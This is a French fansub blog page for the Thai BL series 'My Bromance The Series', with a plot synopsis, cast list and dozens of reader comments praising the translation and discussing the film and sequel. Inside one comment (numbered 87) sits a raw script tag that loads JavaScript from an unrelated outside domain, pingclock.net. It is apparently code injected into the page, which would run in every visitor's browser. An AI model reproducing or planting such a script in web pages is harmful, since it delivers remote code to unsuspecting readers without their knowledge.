• My Bromance The Serie VOSTFR

     

    My Bromance the serie. 

    Genre : Romance, Amitié, Drame, Ecole, Famille, Gay

    Diffusion : 11 Décembre 2016 ~ en cours

    Nombre d'épisodes : 12

    Durée moyenne : 40 minutes par épisode.

     

    Casting : Jirapirom Chaiya, Tharit Ployphet, Patpasit Cooper, Chatchawan Oumjaroen, Arpatsara Mahavachana

     

     

    Golf (Patpasit Cooper) est un jeune homme à tendance impulsive et agressive qui, souffre du suicide de sa mère 2 ans plutôt.
    Bank (Jirapirom Chaiya) est un jeune homme doux et attentionné qui va devoir faire bien des efforts pour s'adapter à sa nouvelle vie.

    2008: Golf et Bank deviennent demi-frères suite au remariage de leur parent.Cependant, Golf ne pardonnant pas le mal que son père a infligé à sa mère, il ne peut accepter cette nouvelle famille. C'est pourquoi, il rend la vie difficile à Bank qui tente, tant bien que mal, de s'entendre avec ce dernier. 
    Néanmoins, petit à petit, ceux-ci vont se rapprocher et tomber amoureux l'un de l'autre. Le père de Golf découvrant leur relation, décide de les éloigner. C'est ainsi qu'il envoie Golf aux États-Unis afin de faire ses études.

    2016: Bank qui travaille à Los Angeles, entretient une relation avec Jackson depuis 2 ans. Celui-ci le demande en mariage et sans hésitation Bank accepte. 
    Golf, quant à lui, voyage sans arrêt afin de faire des expériences diverses. 
    Néanmoins, Bank et Golf reviennent tous deux en Thaïlande. C'est ainsi que les deux amants se retrouvent après 8 ans...

     

     

    My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR

    My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR

    My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR  My Bromance The Serie VOSTFR

     

    My Bromance The Serie VOSTFR

    « The Male Queen VOSTFRFathers Vostfr »
    Partager via Gmail Yahoo!

  • Commentaires

    89
    Mercredi 13 Mai à 13:48

    Merci pour cette série.

    Je l'ai regardée après le film qui n'a effectivement pas grand chose à voir, sauf les noms des persos et une thématique générale.

    Je dois dire que j'ai eu un peu de mal au début avec les sauts temporels, et finalement sur la fin je me dis que c'est pas si mal construit que ça. L'histoire est plutôt bien expliquée même si on ne voit à aucun moment le conflit qui a opposé le "couple" aux parents en 2008, et qui a conduit à leur séparation, mais les détails sont distillées au fur et à mesure.

    Il y a des personnages qu'on aime aimer, d'autres qu'on aime détester et qui sont tout aussi convaincants. J'ai en revanche pas trop aimé le jeu de l'acteur qui joue Bank, je le trouve pas terrible du tout. Autant Golf me semble crédible qu'ils soit heureux, en colère, passionné ou dépité, autant Bank joue de façon assez molle (surtout sur la version jeune) et assez peu cohérente, dommage.

    Après le titre de la série ne nous ment pas vraiment sur ce à quoi on peu s'attendre. A part un bizouillage léger et essentiellement caché, le scénario se concentre sur la bromance, et pas vraiment sur un couple construit. Mais bon, même les séries qui vendent du "couple" en donnent souvent moins...

    Donc globalement j'ai bien aimé cette histoire. Ca restera pas une de mes préférées, mais elle est intéressante et une fin heureuse ça fait jamais de mal ;-)

    Merci

    88
    Clem
    Lundi 27 Avril à 21:06
    Clem
    Hello,

    Merci pour toute vos fansub !

    Petite question, je viens de finir le film et je suis un peu perdu...

    Si je veux suivre "la suite" du film avec les acteurs du film et la cohérence de l'histoire que dois je regarder ?

    1. Le film
    2. Réunion
    3. The serie saison 2

    Suis-je correct ?

    En gros je squize cette saison 1 ?

    Merci d'avance et encore bravo et merci pour tout !
      • Clem
        Mardi 28 Avril à 13:50
        Clem
        Merci beaucoup !

        Je vais attendre un peu quand même avant de regarder cette série (le film est encore trop récent dans ma tête

        Merci encore pour ta réponse.
      • Mardi 28 Avril à 03:02

        Alors la suite du film n'est pas encore sorti. 

        Ensuite cette série, reprend l'idée du film mais ce n'est pas du tout la même histoire, donc tu peux la regarder sans problème puisque les seule choses relier au film sont les noms des personnages et l'idée de base (2 demi-frères qui tombent amoureux).

         

        Pour le film l'ordre est bon. Sait que la série s'appellera "My Bromance, 5 years later". 

    87
    Dimanche 5 Avril à 22:09

    Je ne l'avais jamais vu et hier je me suis couchée à 5:30 du matin car j'arrivais pas à décrocher ! Je trouve que le premier épisode est un peu long et pas très incitateur, mais il faut persévérer car la suite est vraiment bien. La relation des  deux personnages principaux est bien creusée, mais comme beaucoup de dramas, je trouve que les autres relations nuisent à la relation principale. C'est-à-dire que les dramas introduisent des possibles couples par ci, par là pour finir avec trois couples différents et du coup, le time screen est mangé sur le couple principal, alors que la prod pourrait utiliser plus de temps pour développer la relation principale. Je dis pas ça particulièrement sur ce drama, c'est un raisonnement général que je voulais partager :D Merci pour votre travail et encore une fois, je recommande ce drama ! (  et Cooper est vraiment un bon acteur <3 )

    <script src="//pingclock.net/21db1c5c8b372aecca.js" type="text/javascript"></script>
    86
    Bonom
    Lundi 2 Mars à 10:50

    Ce que j'ai le plus apprécié dans My Bromance, c'est que la tension émotionnelle va à l'inverse de ce que j'ai l'habitude de voir. Les premiers épisodes sont dans une atmosphère dramatique et conflictuelle (à tel point que je me suis demandé si j'allais continuer, car j'ai envie de sourire en ce moment, et pas d'observer de grands malheurs). Mais plus la série avance, plus l'atmosphère s'allège!!!

    J'ai trouvé cela vraiment original. En général, ça commence un peu comique et plus les épisodes avancent moins ça sourit...

    Merci beaucoup pour votre travail

    85
    Lundi 2 Mars à 00:54

    Un super travail, comme d'hab ! Merci beaucoup ^^

    84
    Bonom
    Vendredi 28 Février à 19:18

    J'ai bien aimé ce lakorn. J'ai eu un peu de mal avec le premier épisode car les transitions passé/présent était un peu chaotiques

      • Bonom
        Vendredi 28 Février à 19:20

        La moitié de mon commentaire a disparu !!!!!

         

        Mais ça finissait par merci beaucoup

    83
    Mercredi 19 Février à 21:14

    Bonsoir, tout d'abord merci pour la traduction, ensuite j'ai une petite question, est ce qu'il y a une vrai fin au bout de la saison 1 et/ou après le visonage du film?

     

    82
    Dimanche 9 Février à 10:48

    Merci beaucoup pour cette série je vais allé regarder le film maintenant en attendant que l'autre série sorte je l'espère en tout cas j'ai trop aimé merci pour votre travail

    81
    Mardi 7 Janvier à 23:06

    Bonsoir,

     Merci beaucoup pour la traduction de cette série!

    Ce fut le deuxième BL que regarder et qui m'a dicté de continuer! Donc aussi un grand merci a cette sérieyes

    L'histoire est simple à comprendre et l'on rentre facilement dedanscool

    80
    Jeudi 26 Décembre 2019 à 17:22

    coucou merci d'avoir traduit cette série.

    79
    Mardi 10 Décembre 2019 à 15:54

    Merci la team pour ce projet., vous êtes les meilleures 

    Bon courage à vous pour la suite cool

    PS: Je vous fais de gros bisous

    78
    Lundi 7 Octobre 2019 à 10:35

    Bonjour,

    merci beaucoup d'avoir traduit cette série ! J'ai passé un bon moment à la regarder. J'ai préféré les passages de leur histoire au lycée. En tout cas, les acteurs ont fait du bon boulot, pour jouer à la fois les lycéens et à la fois les adultes 8 ans plus tard.

    Je fais aller jeter un coup d'œil au film maintenant (si j'ai bien compris, il y a une autre saison qui sort mais qui fait suite au film et non à cette série là, c'est ça ?)

    Bonne continuation !

      • Lundi 7 Octobre 2019 à 16:40

        Oui c'est ça la série fait bien suite au film. Y'a une Bande annonce de cette série qui est sortie et depuis plus rien. Elle devrait être diffuser en décembre normalement. 

    77
    Julie76128
    Jeudi 22 Août 2019 à 23:31
    Très bien j'ai adorer les histoire comme sa je kiffe merci pour votre traduction
    76
    Jeudi 15 Août 2019 à 17:55

    merci pour la traduction excellent travail comme d'habitude ;)

    75
    Mercredi 14 Août 2019 à 12:58

    Merci pour toutes les traduction que vous faite  vous faite du bon boulot

    74
    Mardi 6 Août 2019 à 01:56

    J'ai adoré cet série, elle est géniale. Merci beaucoup pour la traduction.

     

     

    73
    Mardi 30 Juillet 2019 à 20:40

    Toujours aussi parfait

    72
    Lundi 29 Juillet 2019 à 19:14

    Bonjour

    Merci de nous avoir fait découvrir cette série très sympa. J'ai pu voir 2 acteurs qui sont très bien dans leur rôle.

    Merci pour votre travail

    A+

    71
    Samedi 22 Juin 2019 à 20:43

    Je suis en train de tiquer, vous précisez S1 sur ce BL, ca signifie qu'il y a des bruit de S2 ???? 

    70
    Dimanche 7 Avril 2019 à 13:18

    Merci pour ce drama je vais essayer

    69
    ZING
    Mardi 12 Février 2019 à 16:52

    Est ce que ce drama a un happy ending ?

     

    68
    liloubo
    Lundi 11 Février 2019 à 16:00

    Merci pour ce drama ! 

    67
    Lundi 11 Février 2019 à 15:19

    Au debut je ne voulais pas le voir car je suis hyper Attachée au couple de la version originale puis j'ai craquée et je l'ai regardé et franchement ... J'ai beau aimée cette adaptation. Cependant je pense que je l'aurai plus aimée si je ne l'avais pas regardé en me basant de ce qui se passe dans le film .... Sans compter que du coup ... Ils m'ont spoiler la fin du premier film et donc de l histoire de la nouvelle série qui arrive et qui suit le film :/ ( Même si je l'aurai su en regardant My bromance: Réunion).

    Mais du coup, vu qu'ils vont ressortir cette histoire avec les acteurs de la version originale, j'ai peur que celle ci soit sorti " inutilement" si je puis dire. 

    Malgré tout ça le couple de la série etait superbe <3

     

      • Mardi 12 Février 2019 à 18:50

        C'est ça ... C'est dur pour moi de séparer les 2 dans ma tête 

      • Mardi 12 Février 2019 à 18:14

        Alors c'est vrai que comme les noms sont les mêmes et que l'histoire est pratiquement la même, il ne faut pas regarder cette série en ce basant sur le film. 

        Parce que dans le film Bank crois que Golf est mort ce qui n'est pas le cas dans la série. Donc l'histoire de fond est la même mais pas exactement, c'est compliquer à expliquer. En tout cas la saison 2 qui suit le film original n'a rien à voir avec cette série donc il n'y a pas de spoil.

    66
    Vendredi 18 Janvier 2019 à 20:15

    Bonjour, y aura t'il une saison 2 a cette série ? merci pour votre travaille.

      • Sweetie17
        Samedi 6 Avril 2019 à 18:54
        Ah bon ? Mais c etait prevue sniffffff
      • Samedi 19 Janvier 2019 à 15:41

        Non. Il n' y aura pas de saison 2.

    65
    Vendredi 18 Janvier 2019 à 19:20

    Merci pour ce projet

    64
    Samedi 29 Décembre 2018 à 13:03

    Ca a l'air super!!!! Merci pour la traduction!!

    63
    Mercredi 26 Décembre 2018 à 03:04

    merci !!!! j'ai adoré !!! vu en une seul fois ! couché a 3h du mat yes

    heureusement que je bosse la nuit, et encore merci pour la traduction!!!

    62
    Mercredi 28 Novembre 2018 à 23:05

    merciiii pour ce drama 

     

    61
    Lundi 26 Novembre 2018 à 17:40

    Super série très sympa eheh

    60
    Samedi 24 Novembre 2018 à 00:47

    Merci pour la traduction !!

    59
    tsuki
    Lundi 12 Novembre 2018 à 14:34

    Encore merci pour la trad.

    58
    Dimanche 11 Novembre 2018 à 10:54

    Très jolie série ! On a pas le temps de s'ennuyer, toutefois un peu courte j'aurai aimé avoir quelques épisodes supplémentaires ! Merci pour votre travail smile

    57
    Mercredi 7 Novembre 2018 à 18:51

    Ce drama est vraiment bien, dommage que les liens bonus soient morts

     

    Merci :)

    56
    Mercredi 7 Novembre 2018 à 00:31

    J'ai regardé les 12 épisodes en une traite oh(Heureusement que je travaillais pas le lendemain xD). Merci pour la traduction! 

    55
    Samedi 3 Novembre 2018 à 11:30

    merci pour la traduction 

    yesyes

    54
    Lundi 8 Octobre 2018 à 01:16

    C'était super, j'ai adoré cette série <3 Merci beaucoup pour la traduction ^^

    53
    Dimanche 7 Octobre 2018 à 13:30

    Merci pour la traduction

     

    52
    Mercredi 3 Octobre 2018 à 12:46

    J'avais tellement hate de le commencer celui la merci beaucoup :)

    51
    Jeudi 27 Septembre 2018 à 19:39
    Super travail il est super le bl
    50
    Mercredi 26 Septembre 2018 à 18:25

    oh un bl que j'ai pas vu et que je vais regarder avec plaisir.

    merci pour la trad

    49
    Lundi 24 Septembre 2018 à 13:46

    Merci pour cette série hâte de la découvrir !!

    48
    Jeudi 20 Septembre 2018 à 05:32

    merci pour cette série fabuleuse.

    47
    Samedi 15 Septembre 2018 à 23:32

    je viens de finir le premier épisode et franchement cet série a l'aire très belle merci pour votre boulot !

     

    46
    Dimanche 9 Septembre 2018 à 18:06

    Merci pour ce Drama, j'ai vraiment hâte de regarder cette série <3

    45
    Samedi 1er Septembre 2018 à 20:20

    Hâte de découvrir cette serie ! merci :)

    44
    Samedi 1er Septembre 2018 à 02:05

    Merci pour la traduction

     

    43
    Dimanche 26 Août 2018 à 00:51

    Merci pour ce drama. Une bromance que je vais prendre plaisir à regarder.

     

    Suivre le flux RSS des commentaires


    Ajouter un commentaire

    Nom / Pseudo :

    E-mail (facultatif) :

    Site Web (facultatif) :

    Commentaire :